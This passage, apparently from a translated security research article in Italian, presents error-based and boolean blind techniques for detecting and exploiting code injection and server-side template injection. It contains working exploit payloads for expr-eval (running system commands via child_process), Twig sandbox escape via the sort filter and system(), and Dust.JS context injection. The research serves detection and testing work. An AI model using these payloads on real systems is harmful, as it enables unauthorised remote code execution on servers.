Controllare i risultati della valutazione del codice con `eval()` e confrontare il codice di ritorno dei comandi del sistema operativo può essere fatto direttamente usando questi payload: `elem(Code.eval_string( … ), 0)` e `elem(System.shell( … ), 1) == 0`
### Generic Detection
Tutti i linguaggi di programmazione hanno i propri nomi di funzione, quindi è impossibile trovare una funzione che funzioni per il rilevamento generico.
Nonostante ciò, quasi tutti i linguaggi usano esattamente la stessa sintassi per le operazioni matematiche di base.
Questo ci permette di usare errori di sintassi per il rilevamento generico:
- `(3*4/2)` e `3*)2(/4`
- `((7*8)/(2*4))` e `7)(*)8)(2/(*4`
Questo metodo di rilevamento generico per Code Injection e SSTI potrebbe essere automatizzato senza la necessità di aggiungere separatamente il supporto per tutti i linguaggi di programmazione e motori di template, il che estende le possibilità di rilevamento rapido di Code Injection e SSTI utilizzando un approccio black box.
### Payload Development
Per creare payload dopo aver rilevato un'iniezione cieca, potremmo controllare gli errori comuni di divisione per zero o accesso a elementi non presenti in liste o dizionari.
Inoltre, per motori di template noti possiamo usare istruzioni `if` per attivare errori arbitrari in modo condizionale.
Per il rilevamento automatizzato, le coppie di payload potrebbero essere create utilizzando nomi di funzione unici, caratteristiche di sintassi o conversioni implicite di tipo.
Per convertire valori al tipo desiderato, possiamo usare funzioni di conversione specifiche o utilizzando un'operazione tipica per il tipo desiderato (aggiungere 0 per numeri, concatenare stringa vuota per stringhe, usare AND logico con `true` per booleani, ecc.). Inoltre, i valori possono essere convertiti in booleano usando la doppia negazione, e poi in intero usando condizioni come l'operatore ternario.
Per verificare il successo dell'esecuzione di un comando del sistema operativo, possiamo confrontare il codice di uscita con zero o verificare che l'output termini con una stringa che abbiamo fornito.
## Practical Application
Tutte le tecniche e i payload sviluppati durante questa ricerca sono stati aggiunti allo strumento open-source SSTImap per l'applicazione pratica.
Inoltre, ho applicato queste tecniche ai miei compiti, il che mi ha permesso di ottenere il risultato nella maggior parte dei casi, che hanno agito da indizi per questa ricerca.
Tra questi casi ci sono esempi di test su applicazioni web reali, così come payload che estendono le capacità di sfruttamento di vulnerabilità note.
### expr-eval (CVE-2025-13204)
Il primo esempio di applicazione di nuove tecniche a un target reale è stata la vulnerabilità di Code Injection in un popolare costruttore di bot per Discord.
Uno dei tag nel motore di template permetteva la valutazione di espressioni matematiche utilizzando un modulo NodeJS vulnerabile chiamato **expr-eval**, ma il risultato veniva convertito in intero, il che inizialmente mi impediva di accedere al risultato del codice iniettato.
Ho modificato il payload noto per accedere al costruttore di funzioni senza rompere la sintassi del motore di template usato per attivare la funzionalità vulnerabile.
Dopodiché, ho applicato la tecnica Error-Based e ho usato `require()` per attivare un errore contenente i risultati dell'esecuzione del codice:```node
{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }
In questo caso, la tecnica Error-Based mi ha permesso di ottenere output da un blind Code Injection in un'applicazione reale che stavo testando in quel momento.
Il payload per lo sfruttamento del Code Injection nel modulo expr-eval per NodeJS è stato aggiunto come modulo extra per SSTImap che può essere installato separatamente. Questo modulo contiene payload per tutte e quattro le tecniche di sfruttamento del Code Injection supportate da SSTImap.
Un altro esempio di applicazione pratica delle nuove tecniche è la capacità di sfruttare CVE-2025-1302 senza le limitazioni causate dal contesto di iniezione. I payload precedenti per l'iniezione renderizzata impostavano attributi dell'oggetto radice, ma questo approccio impediva lo sfruttamento renderizzato in molti contesti di iniezione e richiedeva di indovinare gli altri.
Grazie alle tecniche Error-Based, l'output è diventato ottenibile in tutti i contesti in caso di output di errore verboso. L'uso della tecnica Boolean Error-Based Blind ha permesso uno sfruttamento più efficace delle iniezioni cieche e ha aperto le possibilità per una rapida esfiltrazione dei dati.
Le versioni vulnerabili del motore di template Twig permettono la sandbox escape passando una stringa contenente il nome di una funzione PHP come parametro al filtro |sort. Questo filtro converte l'output della funzione in un numero che determina il nuovo ordine di due elementi nell'array.
In PHP, la funzione system() restituisce solo la prima stringa dell'output, ma è sufficiente per influenzare il numero risultante e l'ordine degli elementi dell'array, mostrando se il nostro comando del sistema operativo è stato eseguito con successo. Possiamo confrontare il primo elemento con il valore atteso per determinare se gli elementi hanno cambiato posizione e capire quale numero ha prodotto il nostro comando. Di conseguenza, otteniamo questo payload:```php
{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %}
{{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}
Questa volta, Boolean Error-Based Blind estende le capacità di bypass del sandbox cieco nel motore di template **Twig**, consentendo potenzialmente l'estrazione bit per bit dell'output.
Possiamo anche notare che funzioni PHP come `system()` e `passthru()` restituiscono i risultati direttamente nella pagina, permettendoci di intercettarli usando `ob_start()`.
Come secondo argomento, `ob_start()` accetta il nome della funzione che verrebbe chiamata con il nostro output come argomento.
Questo ci permette di usare `call_user_func()` per l'esfiltrazione dell'output basata su Error.
Per chiamare la nostra funzione e innescare un errore, dobbiamo attivare `ob_end_flush()` senza argomenti.
Per farlo, possiamo usare `call_user_func_array()` con un array vuoto.
Il nostro payload finale:```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}
Inoltre, vorrei menzionare i payload per il motore di template Dust.JS.
Le tecniche Blind basate su Error-Based e Boolean Error-Based con payload basati su Code Injection per NodeJS consentono uno sfruttamento più efficace della SSTI cieca, oltre a ottenere i risultati quando l'output di errore verbose è presente nel sito target.
Successivamente, ho deciso di ricercare la possibilità di ottenere il risultato durante l'iniezione renderizzata aggiungendo una variabile nel contesto del template.
Inizialmente, ho provato a utilizzare Prototype Pollution, ma ciò ha causato errori durante la generazione dinamica del codice, quindi ho dovuto trovare l'oggetto contesto per iniettare la nuova variabile.
Per fare ciò, ho applicato la tecnica Error-Based e ho esaminato le variabili globali.
Ho trovato una variabile chiamata context, che aveva un attributo chiamato global contenente le variabili passate al template.
Aggiungere un nuovo attributo di context.global mi ha permesso di ottenere il risultato:```node
{@if cond="context.global.sstimap='test'"}{/if}{sstimap}
Questo esempio mostra la possibilità di utilizzare la tecnica basata sugli errori per esaminare il contesto di iniezione mentre si sviluppano i payload utilizzando l'approccio black box.
## Conclusioni
Nell'ambito di questa ricerca, sono state sviluppate due nuove tecniche per l'Code Injection e la SSTI.
L'uso della tecnica **Error-Based** permette di accedere ai risultati delle iniezioni cieche se i messaggi di errore dettagliati vengono mostrati all'utente.
La tecnica **Boolean Error-Based Blind** velocizza notevolmente lo sfruttamento delle iniezioni cieche, eliminando i ritardi tipicamente utilizzati con la tecnica **Time-Based Blind**.
Sono stati creati payload per entrambe le nuove tecniche che consentono lo sfruttamento di Code Injection e SSTI in sei linguaggi di programmazione.
Inoltre, sono stati introdotti payload context-aware per la rilevazione generica di Code Injection e SSTI, che hanno permesso la rilevazione automatica delle iniezioni cieche senza testare tutti i linguaggi possibili, cosa precedentemente considerata impossibile.
Le tecniche dimostrate provano l'importanza di documentare tutte le tecniche di sfruttamento conosciute anche per vulnerabilità apparentemente ovvie.
Un approccio simile è stato utilizzato a lungo nelle tecniche di SQL Injection, ma per 10 anni dalla scoperta della SSTI non ci sono state menzioni della tecnica **Error-Based** né payload documentati.
Code Injection di per sé ha scarsissima documentazione, il che ha impedito la scoperta di nuove tecniche fondamentali.
Questa ricerca ha dimostrato il potenziale di scoprire nuove tecniche anche per vulnerabilità ben note.
Per uno sviluppo più efficace delle tecniche, dovrebbe essere creato un repository di conoscenze contenente tecniche e trucchi per i ricercatori, che permetterebbe di documentare la conoscenza sullo sviluppo dei payload e sulle caratteristiche inusuali di diversi sistemi, anche se tale conoscenza non ha un uso diretto per lo sfruttamento del sistema.
In conclusione, vorrei menzionare alcune direzioni promettenti per ulteriori ricerche.
Un importante miglioramento per le tecniche **Boolean Error-Based Blind** e **Time-Based Blind** sarebbero i payload per l'esfiltrazione bit a bit dell'output, analogamente alle corrispondenti tecniche per SQL Injection.
Inoltre, la ricerca delle possibilità di test **OAST** e dell'applicazione della tecnica **Time-Based Blind** utilizzando le caratteristiche dei template engine rimuoverebbe la dipendenza di queste tecniche dal sistema operativo e dai binari disponibili sul server di destinazione.
## Riferimenti
[^1]: https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf
[^2]: https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf
[^3]: https://github.com/vladko312/SSTImap
[^4]: https://github.com/vladko312/extras
[^5]: https://github.com/epinna/tplmap/
[^6]: https://github.com/linkedin/dustjs/wiki/Dust-Tutorial
[^7]: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
[^8]: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
[^9]: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
[^10]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9